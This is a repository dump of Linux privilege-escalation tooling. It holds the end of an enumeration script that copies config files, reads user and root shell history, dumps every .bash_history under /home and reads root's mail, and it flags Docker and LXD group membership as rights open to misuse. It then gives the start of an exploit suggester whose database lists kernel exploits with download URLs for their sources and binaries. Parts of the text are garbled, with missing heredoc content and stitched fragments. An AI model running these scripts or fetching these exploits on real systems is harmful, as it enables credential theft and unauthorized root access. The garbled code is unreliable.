"'$keyword' not found in any .ini files" 1175 | echo -e "\n" 1176 | fi 1177 | fi 1178 | 1179 | if [ "$keyword" = "" ];then 1180 | : 1181 | else 1182 | if [ "$export" ] && [ "$inikey" ]; then 1183 | inikey=`find / -maxdepth 4 -name *.ini -type f -exec grep -lHn $keyword {} \; 2>/dev/null` 1184 | mkdir --parents $format/keyword_file_matches/ini_files/ 2>/dev/null 1185 | for i in $inikey; do cp --parents $i $format/keyword_file_matches/ini_files/ ; done 2>/dev/null 1186 | fi 1187 | fi 1188 | 1189 | #quick extract of .conf files from /etc - only 1 level 1190 | allconf=`find /etc/ -maxdepth 1 -name *.conf -type f -exec ls -la {} \; 2>/dev/null` 1191 | if [ "$allconf" ]; then 1192 | echo -e "\e[00;31m[-] All *.conf files in /etc (recursive 1 level):\e[00m\n$allconf" 1193 | echo -e "\n" 1194 | fi 1195 | 1196 | if [ "$export" ] && [ "$allconf" ]; then 1197 | mkdir $format/conf-files/ 2>/dev/null 1198 | for i in $allconf; do cp --parents $i $format/conf-files/; done 2>/dev/null 1199 | fi 1200 | 1201 | #extract any user history files that are accessible 1202 | usrhist=`ls -la ~/.*_history 2>/dev/null` 1203 | if [ "$usrhist" ]; then 1204 | echo -e "\e[00;31m[-] Current user's history files:\e[00m\n$usrhist" 1205 | echo -e "\n" 1206 | fi 1207 | 1208 | if [ "$export" ] && [ "$usrhist" ]; then 1209 | mkdir $format/history_files/ 2>/dev/null 1210 | for i in $usrhist; do cp --parents $i $format/history_files/; done 2>/dev/null 1211 | fi 1212 | 1213 | #can we read roots *_history files - could be passwords stored etc. 1214 | roothist=`ls -la /root/.*_history 2>/dev/null` 1215 | if [ "$roothist" ]; then 1216 | echo -e "\e[00;33m[+] Root's history files are accessible!\e[00m\n$roothist" 1217 | echo -e "\n" 1218 | fi 1219 | 1220 | if [ "$export" ] && [ "$roothist" ]; then 1221 | mkdir $format/history_files/ 2>/dev/null 1222 | cp $roothist $format/history_files/ 2>/dev/null 1223 | fi 1224 | 1225 | #all accessible .bash_history files in /home 1226 | checkbashhist=`find /home -name .bash_history -print -exec cat {} 2>/dev/null \;` 1227 | if [ "$checkbashhist" ]; then 1228 | echo -e "\e[00;31m[-] Location and contents (if accessible) of .bash_history file(s):\e[00m\n$checkbashhist" 1229 | echo -e "\n" 1230 | fi 1231 | 1232 | #any .bak files that may be of interest 1233 | bakfiles=`find / -name *.bak -type f 2/dev/null` 1242 | if [ "$readmail" ]; then 1243 | echo -e "\e[00;31m[-] Any interesting mail in /var/mail:\e[00m\n$readmail" 1244 | echo -e "\n" 1245 | fi 1246 | 1247 | #can we read roots mail 1248 | readmailroot=`head /var/mail/root 2>/dev/null` 1249 | if [ "$readmailroot" ]; then 1250 | echo -e "\e[00;33m[+] We can read /var/mail/root! (snippet below)\e[00m\n$readmailroot" 1251 | echo -e "\n" 1252 | fi 1253 | 1254 | if [ "$export" ] && [ "$readmailroot" ]; then 1255 | mkdir $format/mail-from-root/ 2>/dev/null 1256 | cp $readmailroot $format/mail-from-root/ 2>/dev/null 1257 | fi 1258 | } 1259 | 1260 | docker_checks() 1261 | { 1262 | 1263 | #specific checks - check to see if we're in a docker container 1264 | dockercontainer=` grep -i docker /proc/self/cgroup 2>/dev/null; find / -name "*dockerenv*" -exec ls -la {} \; 2>/dev/null` 1265 | if [ "$dockercontainer" ]; then 1266 | echo -e "\e[00;33m[+] Looks like we're in a Docker container:\e[00m\n$dockercontainer" 1267 | echo -e "\n" 1268 | fi 1269 | 1270 | #specific checks - check to see if we're a docker host 1271 | dockerhost=`docker --version 2>/dev/null; docker ps -a 2>/dev/null` 1272 | if [ "$dockerhost" ]; then 1273 | echo -e "\e[00;33m[+] Looks like we're hosting Docker:\e[00m\n$dockerhost" 1274 | echo -e "\n" 1275 | fi 1276 | 1277 | #specific checks - are we a member of the docker group 1278 | dockergrp=`id | grep -i docker 2>/dev/null` 1279 | if [ "$dockergrp" ]; then 1280 | echo -e "\e[00;33m[+] We're a member of the (docker) group - could possibly misuse these rights!\e[00m\n$dockergrp" 1281 | echo -e "\n" 1282 | fi 1283 | 1284 | #specific checks - are there any docker files present 1285 | dockerfiles=`find / -name Dockerfile -exec ls -l {} 2>/dev/null \;` 1286 | if [ "$dockerfiles" ]; then 1287 | echo -e "\e[00;31m[-] Anything juicy in the Dockerfile:\e[00m\n$dockerfiles" 1288 | echo -e "\n" 1289 | fi 1290 | 1291 | #specific checks - are there any docker files present 1292 | dockeryml=`find / -name docker-compose.yml -exec ls -l {} 2>/dev/null \;` 1293 | if [ "$dockeryml" ]; then 1294 | echo -e "\e[00;31m[-] Anything juicy in docker-compose.yml:\e[00m\n$dockeryml" 1295 | echo -e "\n" 1296 | fi 1297 | } 1298 | 1299 | lxc_container_checks() 1300 | { 1301 | 1302 | #specific checks - are we in an lxd/lxc container 1303 | lxccontainer=`grep -qa container=lxc /proc/1/environ 2>/dev/null` 1304 | if [ "$lxccontainer" ]; then 1305 | echo -e "\e[00;33m[+] Looks like we're in a lxc container:\e[00m\n$lxccontainer" 1306 | echo -e "\n" 1307 | fi 1308 | 1309 | #specific checks - are we a member of the lxd group 1310 | lxdgroup=`id | grep -i lxd 2>/dev/null` 1311 | if [ "$lxdgroup" ]; then 1312 | echo -e "\e[00;33m[+] We're a member of the (lxd) group - could possibly misuse these rights!\e[00m\n$lxdgroup" 1313 | echo -e "\n" 1314 | fi 1315 | } 1316 | 1317 | footer() 1318 | { 1319 | echo -e "\e[00;33m### SCAN COMPLETE ####################################\e[00m" 1320 | } 1321 | 1322 | call_each() 1323 | { 1324 | header 1325 | debug_info 1326 | system_info 1327 | user_info 1328 | environmental_info 1329 | job_info 1330 | networking_info 1331 | services_info 1332 | software_configs 1333 | interesting_files 1334 | docker_checks 1335 | lxc_container_checks 1336 | footer 1337 | } 1338 | 1339 | while getopts "h:k:r:e:st" option; do 1340 | case "${option}" in 1341 | k) keyword=${OPTARG};; 1342 | r) report=${OPTARG}"-"`date +"%d-%m-%y"`;; 1343 | e) export=${OPTARG};; 1344 | s) sudopass=1;; 1345 | t) thorough=1;; 1346 | h) usage; exit;; 1347 | *) usage; exit;; 1348 | esac 1349 | done 1350 | 1351 | call_each | tee -a $report 2> /dev/null 1352 | #EndOfScript 1353 | -------------------------------------------------------------------------------- /linuxExploitSuggester.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # 4 | # Copyright (c) 2016-2020, @_mzet_ 5 | # 6 | # linux-exploit-suggester.sh comes with ABSOLUTELY NO WARRANTY. 7 | # This is free software, and you are welcome to redistribute it 8 | # under the terms of the GNU General Public License. See LICENSE 9 | # file for usage of this software. 10 | # 11 | 12 | VERSION=v1.1 13 | 14 | # bash colors 15 | #txtred="\e[0;31m" 16 | txtred="\e[91;1m" 17 | txtgrn="\e[1;32m" 18 | txtgray="\e[0;37m" 19 | txtblu="\e[0;36m" 20 | txtrst="\e[0m" 21 | bldwht='\e[1;37m' 22 | wht='\e[0;36m' 23 | bldblu='\e[1;34m' 24 | yellow='\e[1;93m' 25 | lightyellow='\e[0;93m' 26 | 27 | # input data 28 | UNAME_A="" 29 | 30 | # parsed data for current OS 31 | KERNEL="" 32 | OS="" 33 | DISTRO="" 34 | ARCH="" 35 | PKG_LIST="" 36 | 37 | # kernel config 38 | KCONFIG="" 39 | 40 | CVELIST_FILE="" 41 | 42 | opt_fetch_bins=false 43 | opt_fetch_srcs=false 44 | opt_kernel_version=false 45 | opt_uname_string=false 46 | opt_pkglist_file=false 47 | opt_cvelist_file=false 48 | opt_checksec_mode=false 49 | opt_full=false 50 | opt_summary=false 51 | opt_kernel_only=false 52 | opt_userspace_only=false 53 | opt_show_dos=false 54 | opt_skip_more_checks=false 55 | opt_skip_pkg_versions=false 56 | 57 | ARGS= 58 | SHORTOPTS="hVfbsu:k:dp:g" 59 | LONGOPTS="help,version,full,fetch-binaries,fetch-sources,uname:,kernel:,show-dos,pkglist-file:,short,kernelspace-only,userspace-only,skip-more-checks,skip-pkg-versions,cvelist-file:,checksec" 60 | 61 | ## exploits database 62 | declare -a EXPLOITS 63 | declare -a EXPLOITS_USERSPACE 64 | 65 | ## temporary array for purpose of sorting exploits (based on exploits' rank) 66 | declare -a exploits_to_sort 67 | declare -a SORTED_EXPLOITS 68 | 69 | ############ LINUX KERNELSPACE EXPLOITS #################### 70 | n=0 71 | 72 | EXPLOITS[((n++))]=$(cat <=2.6.5,ver<=2.6.11 97 | Tags: 98 | Rank: 1 99 | exploit-db: 1397 100 | EOF 101 | ) 102 | 103 | EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.2 106 | Tags: 107 | Rank: 1 108 | exploit-db: 160 109 | EOF 110 | ) 111 | 112 | EXPLOITS[((n++))]=$(cat <=2.6.13,ver<=2.6.17 115 | Tags: 116 | Rank: 1 117 | exploit-db: 2031 118 | EOF 119 | ) 120 | 121 | EXPLOITS[((n++))]=$(cat <=2.6.13,ver<=2.6.17 124 | Tags: 125 | Rank: 1 126 | exploit-db: 2004 127 | EOF 128 | ) 129 | 130 | EXPLOITS[((n++))]=$(cat <=2.6.13,ver<=2.6.17 133 | Tags: 134 | Rank: 1 135 | exploit-db: 2005 136 | EOF 137 | ) 138 | 139 | EXPLOITS[((n++))]=$(cat <=2.6.13,ver<=2.6.17 142 | Tags: 143 | Rank: 1 144 | exploit-db: 2006 145 | EOF 146 | ) 147 | 148 | EXPLOITS[((n++))]=$(cat <=2.6.13,ver<=2.6.17 151 | Tags: 152 | Rank: 1 153 | exploit-db: 2011 154 | EOF 155 | ) 156 | 157 | EXPLOITS[((n++))]=$(cat <=2.6.8,ver<=2.6.16 160 | Tags: 161 | Rank: 1 162 | bin-url: https://web.archive.org/web/20111103042904/http://tarantula.by.ru/localroot/2.6.x/h00lyshit 163 | exploit-db: 2013 164 | EOF 165 | ) 166 | 167 | EXPLOITS[((n++))]=$(cat <=2.6.17,ver<=2.6.24 170 | Tags: 171 | Rank: 1 172 | exploit-db: 5092 173 | EOF 174 | ) 175 | 176 | EXPLOITS[((n++))]=$(cat <=2.6.23,ver<=2.6.24 179 | Tags: 180 | Rank: 1 181 | exploit-db: 5093 182 | EOF 183 | ) 184 | 185 | EXPLOITS[((n++))]=$(cat <=2.6.11,ver<=2.6.22 188 | Tags: 189 | Rank: 1 190 | exploit-db: 6851 191 | Comments: world-writable sgid directory and shell that does not drop sgid privs upon exec (ash/sash) are required 192 | EOF 193 | ) 194 | 195 | EXPLOITS[((n++))]=$(cat <=2.6.25,ver<=2.6.29 198 | Tags: 199 | Rank: 1 200 | exploit-db: 8369 201 | EOF 202 | ) 203 | 204 | EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.30 207 | Tags: ubuntu=7.10,RHEL=4,fedora=4|5|6|7|8|9|10|11 208 | Rank: 1 209 | exploit-db: 9479 210 | Comments: Works for systems with /proc/sys/vm/mmap_min_addr equal to 0 211 | EOF 212 | ) 213 | 214 | EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.30 217 | Tags: ubuntu=9.04 218 | Rank: 1 219 | analysis-url: https://xorl.wordpress.com/2009/07/16/cve-2009-1895-linux-kernel-per_clear_on_setid-personality-bypass/ 220 | src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/9435.tgz 221 | exploit-db: 9435 222 | Comments: /proc/sys/vm/mmap_min_addr needs to equal 0 OR pulseaudio needs to be installed 223 | EOF 224 | ) 225 | 226 | EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.30 229 | Tags: 230 | Rank: 1 231 | src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/9436.tgz 232 | exploit-db: 9436 233 | Comments: Works for systems with /proc/sys/vm/mmap_min_addr equal to 0 234 | EOF 235 | ) 236 | 237 | EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.30 240 | Tags: 241 | Rank: 1 242 | src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/9641.tar.gz 243 | exploit-db: 9641 244 | Comments: /proc/sys/vm/mmap_min_addr needs to equal 0 OR pulseaudio needs to be installed 245 | EOF 246 | ) 247 | 248 | EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.30 251 | Tags: ubuntu=8.10,RHEL=4|5 252 | Rank: 1 253 | exploit-db: 9545 254 | Comments: /proc/sys/vm/mmap_min_addr needs to equal 0 255 | EOF 256 | ) 257 | 258 | EXPLOITS[((n++))]=$(cat <=2.6.1,ver<=2.6.19 261 | Tags: debian=4 262 | Rank: 1 263 | src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/9574.tgz 264 | exploit-db: 9574 265 | analysis-url: https://blog.cr0.org/2009/08/cve-2009-2698-udpsendmsg-vulnerability.html 266 | author: spender 267 | Comments: /proc/sys/vm/mmap_min_addr needs to equal 0 OR pulseaudio needs to be installed 268 | EOF 269 | ) 270 | 271 | EXPLOITS[((n++))]=$(cat <=2.6.1,ver<=2.6.19,x86 274 | Tags: debian=4 275 | Rank: 1 276 | exploit-db: 9575 277 | analysis-url: https://blog.cr0.org/2009/08/cve-2009-2698-udpsendmsg-vulnerability.html 278 | author: andi 279 | Comments: Works for systems with /proc/sys/vm/mmap_min_addr equal to 0 280 | EOF 281 | ) 282 | 283 | EXPLOITS[((n++))]=$(cat <=2.6.1,ver<=2.6.19,x86 286 | Tags: debian=4 287 | Rank: 1 288 | src-url: https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack/raw/master/2009/CVE-2009-2698/katon.c 289 | analysis-url: https://blog.cr0.org/2009/08/cve-2009-2698-udpsendmsg-vulnerability.html 290 | author: VxHell Labs 291 | Comments: Works for systems with /proc/sys/vm/mmap_min_addr equal to 0 292 | EOF 293 | ) 294 | 295 | EXPLOITS[((n++))]=$(cat <=2.6.1,ver<=2.6.19,x86 298 | Tags: fedora=4|5|6,RHEL=4 299 | Rank: 1 300 | analysis-url: https://blog.cr0.org/2009/08/cve-2009-2698-udpsendmsg-vulnerability.html 301 | exploit-db: 9542 302 | author: p0c73n1 303 | Comments: Works for systems with /proc/sys/vm/mmap_min_addr equal to 0 304 | EOF 305 | ) 306 | 307 | EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.31 310 | Tags: 311 | Rank: 1 312 | exploit-db: 33321 313 | EOF 314 | ) 315 | 316 | EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.31 319 | Tags: 320 | Rank: 1 321 | exploit-db: 33322 322 | EOF 323 | ) 324 | 325 | EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.31 328 | Tags: 329 | Rank: 1 330 | exploit-db: 10018 331 | EOF 332 | ) 333 | 334 | EXPLOITS[((n++))]=$(cat <=2.6.26,ver<=2.6.34 337 | Tags: debian=6.0{kernel:2.6.(32|33|34|35)-(1|2|trunk)-amd64},ubuntu=(10.04|10.10){kernel:2.6.(32|35)-(19|21|24)-server} 338 | Rank: 1 339 | bin-url: https://web.archive.org/web/20111103042904/http://tarantula.by.ru/localroot/2.6.x/kmod2 340 | bin-url: https://web.archive.org/web/20111103042904/http://tarantula.by.ru/localroot/2.6.x/ptrace-kmod 341 | bin-url: https://web.archive.org/web/20160602192641/https://www.kernel-exploits.com/media/ptrace_kmod2-64 342 | exploit-db: 15023 343 | EOF 344 | ) 345 | 346 | EXPLOITS[((n++))]=$(cat <=2.6.18,ver<=2.6.34 349 | Tags: ubuntu=9.10 350 | Rank: 1 351 | analysis-url: https://jon.oberheide.org/blog/2010/04/10/reiserfs-reiserfs_priv-vulnerability/ 352 | src-url: https://jon.oberheide.org/files/team-edward.py 353 | exploit-db: 12130 354 | comments: Requires a ReiserFS filesystem mounted with extended attributes 355 | EOF 356 | ) 357 | 358 | EXPLOITS[((n++))]=$(cat <=2.6.18,ver<=2.6.36 361 | Tags: ubuntu=10.04{kernel:2.6.32-24-generic} 362 | Rank: 1 363 | bin-url: https://web.archive.org/web/20160602192641/https://www.kernel-exploits.com/media/can_bcm 364 | exploit-db: 14814 365 | EOF 366 | ) 367 | 368 | EXPLOITS[((n++))]=$(cat <=2.6.30,ver<2.6.37 371 | Tags: debian=6.0{kernel:2.6.(31|32|34|35)-(1|trunk)-amd64},ubuntu=10.10|9.10,fedora=13{kernel:2.6.33.3-85.fc13.i686.PAE},ubuntu=10.04{kernel:2.6.32-(21|24)-generic} 372 | Rank: 1 373 | analysis-url: http://www.securityfocus.com/archive/1/514379 374 | src-url: http://web.archive.org/web/20101020044048/http://www.vsecurity.com/download/tools/linux-rds-exploit.c 375 | bin-url: https://web.archive.org/web/20160602192641/https://www.kernel-exploits.com/media/rds 376 | bin-url: https://web.archive.org/web/20160602192641/https://www.kernel-exploits.com/media/rds64 377 | exploit-db: 15285 378 | EOF 379 | ) 380 | 381 | EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.36 384 | Tags: ubuntu=(10.04|9.10){kernel:2.6.(31|32)-(14|21)-server} 385 | Rank: 1 386 | bin-url: http://web.archive.org/web/20160602192631/https://www.kernel-exploits.com/media/half-nelson3 387 | exploit-db: 17787 388 | EOF 389 | ) 390 | 391 | EXPLOITS[((n++))]=$(cat <=2.6.34,ver<=2.6.36,x86 394 | Tags: ubuntu=10.10 395 | Rank: 1 396 | exploit-db: 15916 397 | EOF 398 | ) 399 | 400 | EXPLOITS[((n++))]=$(cat <=2.6.34,ver<=2.6.36 403 | Tags: ubuntu=10.10 404 | Rank: 1 405 | exploit-db: 15944 406 | EOF 407 | ) 408 | 409 | EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.36 412 | Tags: 413 | Rank: 1 414 | exploit-db: 15774 415 | EOF 416 | ) 417 | 418 | EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.36 421 | Tags: ubuntu=10.04 422 | Rank: 1 423 | exploit-db: 15150 424 | EOF 425 | ) 426 | 427 | EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.33 430 | Tags: RHEL=5 431 | Rank: 1 432 | exploit-db: 15024 433 | EOF 434 | ) 435 | 436 | EXPLOITS[((n++))]=$(cat <=3.0.0,ver<=3.1.0 439 | Tags: ubuntu=(10.04|11.10){kernel:3.0.0-12-(generic|server)} 440 | Rank: 1 441 | analysis-url: https://git.zx2c4.com/CVE-2012-0056/about/ 442 | src-url: https://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c 443 | bin-url: https://web.archive.org/web/20160602192631/https://www.kernel-exploits.com/media/memodipper 444 | bin-url: https://web.archive.org/web/20160602192631/https://www.kernel-exploits.com/media/memodipper64 445 | exploit-db: 18411 446 | EOF 447 | ) 448 | 449 | EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.36 452 | Tags: ubuntu=(9.10|10.10){kernel:2.6.(31|35)-(14|19)-(server|generic)},ubuntu=10.04{kernel:2.6.32-(21|24)-server} 453 | Rank: 1 454 | src-url: http://vulnfactory.org/exploits/full-nelson.c 455 | bin-url: https://web.archive.org/web/20160602192631/https://www.kernel-exploits.com/media/full-nelson 456 | bin-url: https://web.archive.org/web/20160602192631/https://www.kernel-exploits.com/media/full-nelson64 457 | exploit-db: 15704 458 | EOF 459 | ) 460 | 461 | EXPLOITS[((n++))]=$(cat <=2.6.32,ver<3.8.9,x86_64 477 | Tags: RHEL=6,ubuntu=12.04{kernel:3.2.0-(23|29)-generic},fedora=16{kernel:3.1.0-7.fc16.x86_64},fedora=17{kernel:3.3.4-5.fc17.x86_64},debian=7{kernel:3.2.0-4-amd64} 478 | Rank: 1 479 | analysis-url: http://timetobleed.com/a-closer-look-at-a-recent-privilege-escalation-bug-in-linux-cve-2013-2094/ 480 | bin-url: https://web.archive.org/web/20160602192631/https://www.kernel-exploits.com/media/perf_swevent 481 | bin-url: https://web.archive.org/web/20160602192631/https://www.kernel-exploits.com/media/perf_swevent64 482 | exploit-db: 26131 483 | author: Andrea 'sorbo' Bittau 484 | Comments: No SMEP/SMAP bypass 485 | EOF 486 | ) 487 | 488 | EXPLOITS[((n++))]=$(cat <=2.6.32,ver<3.8.9,x86_64 491 | Tags: ubuntu=12.04{kernel:3.(2|5).0-(23|29)-generic} 492 | Rank: 1 493 | analysis-url: http://timetobleed.com/a-closer-look-at-a-recent-privilege-escalation-bug-in-linux-cve-2013-2094/ 494 | src-url: https://cyseclabs.com/exploits/vnik_v1.c 495 | exploit-db: 33589 496 | author: Vitaly 'vnik' Nikolenko 497 | Comments: No SMEP/SMAP bypass 498 | EOF 499 | ) 500 | 501 | EXPLOITS[((n++))]=$(cat <=2.6.18,ver<3.7.6 504 | Tags: 505 | Rank: 1 506 | exploit-db: 27297 507 | EOF 508 | ) 509 | 510 | EXPLOITS[((n++))]=$(cat <=3.0.1,ver<3.8.9 513 | Tags: 514 | Rank: 1 515 | analysis-url: http://www.openwall.com/lists/oss-security/2013/04/29/1 516 | exploit-db: 25450 517 | EOF 518 | ) 519 | 520 | EXPLOITS[((n++))]=$(cat <=2.6.32,ver<3.8.9 523 | Tags: RHEL=6 524 | Rank: 1 525 | analysis-url: http://timetobleed.com/a-closer-look-at-a-recent-privilege-escalation-bug-in-linux-cve-2013-2094/ 526 | exploit-db: 25444 527 | EOF 528 | ) 529 | 530 | EXPLOITS[((n++))]=$(cat <=3.4.0,ver<=3.13.1,CONFIG_X86_X32=y 533 | Tags: ubuntu=13.10 534 | Rank: 1 535 | analysis-url: http://blog.includesecurity.com/2014/03/exploit-CVE-2014-0038-x32-recvmmsg-kernel-vulnerablity.html 536 | bin-url: https://web.archive.org/web/20160602192631/https://www.kernel-exploits.com/media/timeoutpwn64 537 | exploit-db: 31346 538 | Comments: CONFIG_X86_X32 needs to be enabled 539 | EOF 540 | ) 541 | 542 | EXPLOITS[((n++))]=$(cat <=3.4.0,ver<=3.13.1,CONFIG_X86_X32=y 545 | Tags: ubuntu=(13.04|13.10){kernel:3.(8|11).0-(12|15|19)-generic} 546 | Rank: 1 547 | analysis-url: http://blog.includesecurity.com/2014/03/exploit-CVE-2014-0038-x32-recvmmsg-kernel-vulnerablity.html 548 | exploit-db: 31347 549 | Comments: CONFIG_X86_X32 needs to be enabled 550 | EOF 551 | ) 552 | 553 | EXPLOITS[((n++))]=$(cat <=2.6.31,ver<=3.14.3 556 | Tags: 557 | Rank: 1 558 | analysis-url: http://blog.includesecurity.com/2014/06/exploit-walkthrough-cve-2014-0196-pty-kernel-race-condition.html 559 | exploit-db: 33516 560 | EOF 561 | ) 562 | 563 | EXPLOITS[((n++))]=$(cat <=3.0.1,ver<=3.14 566 | Tags: 567 | Rank: 0 568 | analysis-url: https://cyseclabs.com/page?n=02012016 569 | exploit-db: 32926 570 | EOF 571 | ) 572 | 573 | EXPLOITS[((n++))]=$(cat <=3.0.1,ver<=3.13 576 | Tags: ubuntu=12.04 577 | Rank: 1 578 | analysis-url: http://www.openwall.com/lists/oss-security/2014/06/10/4 579 | exploit-db: 33824 580 | EOF 581 | ) 582 | 583 | EXPLOITS[((n++))]=$(cat <=3.0.1,ver<=3.8 586 | Tags: ubuntu=12.04 587 | Rank: 1 588 | analysis-url: http://www.openwall.com/lists/oss-security/2014/07/08/16 589 | exploit-db: 34134 590 | EOF 591 | ) 592 | 593 | EXPLOITS[((n++))]=$(cat <=3.2,ver<=3.15.6 596 | Tags: 597 | Rank: 1 598 | analysis-url: https://cyseclabs.com/page?n=01102015 599 | exploit-db: 36267 600 | EOF 601 | ) 602 | 603 | EXPLOITS[((n++))]=$(cat <=3.0.1,ver<=3.16.1 606 | Tags: 607 | Rank: 1 608 | exploit-db: 34923 609 | EOF 610 | ) 611 | 612 | EXPLOITS[((n++))]=$(cat <=3.0.1,ver<3.17.5,x86_64 615 | Tags: RHEL<=7,fedora=20 616 | Rank: 1 617 | analysis-url: http://labs.bromium.com/2015/02/02/exploiting-badiret-vulnerability-cve-2014-9322-linux-kernel-privilege-escalation/ 618 | src-url: http://site.pi3.com.pl/exp/p_cve-2014-9322.tar.gz 619 | exploit-db: 620 | author: Rafal 'n3rgal' Wojtczuk & Adam 'pi3' Zabrocki 621 | EOF 622 | ) 623 | 624 | EXPLOITS[((n++))]=$(cat <=3.13,ver<4.1.6,x86_64 627 | Tags: 628 | Rank: 1 629 | analysis-url: http://www.openwall.com/lists/oss-security/2015/08/04/8 630 | exploit-db: 37722 631 | EOF 632 | ) 633 | 634 | EXPLOITS[((n++))]=$(cat <=3.13.0,ver<=3.19.0 646 | Tags: ubuntu=(12.04|14.04){kernel:3.13.0-(2|3|4|5)*-generic},ubuntu=(14.10|15.04){kernel:3.(13|16).0-*-generic} 647 | Rank: 1 648 | analysis-url: http://seclists.org/oss-sec/2015/q2/717 649 | bin-url: https://web.archive.org/web/20160602192631/https://www.kernel-exploits.com/media/ofs_32 650 | bin-url: https://web.archive.org/web/20160602192631/https://www.kernel-exploits.com/media/ofs_64 651 | exploit-db: 37292 652 | EOF 653 | ) 654 | 655 | EXPLOITS[((n++))]=$(cat <=3.0.0,ver<=4.3.3 658 | Tags: 659 | Rank: 1 660 | analysis-url: http://www.halfdog.net/Security/2015/UserNamespaceOverlayfsSetuidWriteExec/ 661 | exploit-db: 39230 662 | EOF 663 | ) 664 | 665 | EXPLOITS[((n++))]=$(cat <=3.0.0,ver<=4.3.3 668 | Tags: ubuntu=(14.04|15.10){kernel:4.2.0-(18|19|20|21|22)-generic} 669 | Rank: 1 670 | analysis-url: http://www.halfdog.net/Security/2015/UserNamespaceOverlayfsSetuidWriteExec/ 671 | exploit-db: 39166 672 | EOF 673 | ) 674 | 675 | EXPLOITS[((n++))]=$(cat <=3.10,ver<4.4.1 678 | Tags: 679 | Rank: 0 680 | analysis-url: http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/ 681 | exploit-db: 40003 682 | Comments: Exploit takes about ~30 minutes to run. Exploit is not reliable, see: https://cyseclabs.com/blog/cve-2016-0728-poc-not-working 683 | EOF 684 | ) 685 | 686 | EXPLOITS[((n++))]=$(cat <=3.0.0,ver<=4.4.8 689 | Tags: ubuntu=14.04,fedora=22 690 | Rank: 1 691 | analysis-url: https://xairy.github.io/blog/2016/cve-2016-2384 692 | src-url: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2016-2384/poc.c 693 | exploit-db: 41999 694 | Comments: Requires ability to plug in a malicious USB device and to execute a malicious binary as a non-privileged user 695 | author: Andrey 'xairy' Konovalov 696 | EOF 697 | ) 698 | 699 | EXPLOITS[((n++))]=$(cat <=4.4.0,ver<=4.4.0,cmd:grep -qi ip_tables /proc/modules 702 | Tags: ubuntu=16.04{kernel:4.4.0-21-generic} 703 | Rank: 1 704 | src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/40053.zip 705 | Comments: ip_tables.ko needs to be loaded 706 | exploit-db: 40049 707 | author: Vitaly 'vnik' Nikolenko 708 | EOF 709 | ) 710 | 711 | EXPLOITS[((n++))]=$(cat <=4.4,ver<4.5.5,CONFIG_BPF_SYSCALL=y,sysctl:kernel.unprivileged_bpf_disabled!=1 714 | Tags: ubuntu=16.04{kernel:4.4.0-21-generic} 715 | Rank: 1 716 | analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=808 717 | src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/39772.zip 718 | Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1 719 | exploit-db: 40759 720 | author: Jann Horn 721 | EOF 722 | ) 723 | 724 | EXPLOITS[((n++))]=$(cat <=2.6.22,ver<=4.8.3 727 | Tags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7},ubuntu=16.04|14.04|12.04 728 | Rank: 4 729 | analysis-url: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails 730 | Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh 731 | exploit-db: 40611 732 | author: Phil Oester 733 | EOF 734 | ) 735 | 736 | EXPLOITS[((n++))]=$(cat <=2.6.22,ver<=4.8.3 739 | Tags: debian=7|8,RHEL=5|6|7,ubuntu=14.04|12.04,ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic} 740 | Rank: 4 741 | analysis-url: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails 742 | ext-url: https://www.exploit-db.com/download/40847 743 | Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh 744 | exploit-db: 40839 745 | author: FireFart (author of exploit at EDB 40839); Gabriele Bonacini (author of exploit at 'ext-url') 746 | EOF 747 | ) 748 | 749 | EXPLOITS[((n++))]=$(cat <=4.4.0,ver<4.9,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1 752 | Tags: ubuntu=(14.04|16.04){kernel:4.4.0-(21|22|24|28|31|34|36|38|42|43|45|47|51)-generic} 753 | Rank: 1 754 | analysis-url: http://www.openwall.com/lists/oss-security/2016/12/06/1 755 | Comments: CAP_NET_RAW capability is needed OR CONFIG_USER_NS=y needs to be enabled 756 | bin-url: https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/exploits/CVE-2016-8655/chocobo_root 757 | exploit-db: 40871 758 | author: rebel 759 | EOF 760 | ) 761 | 762 | EXPLOITS[((n++))]=$(cat <=3.11,ver<4.8.14,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1 765 | Tags: 766 | 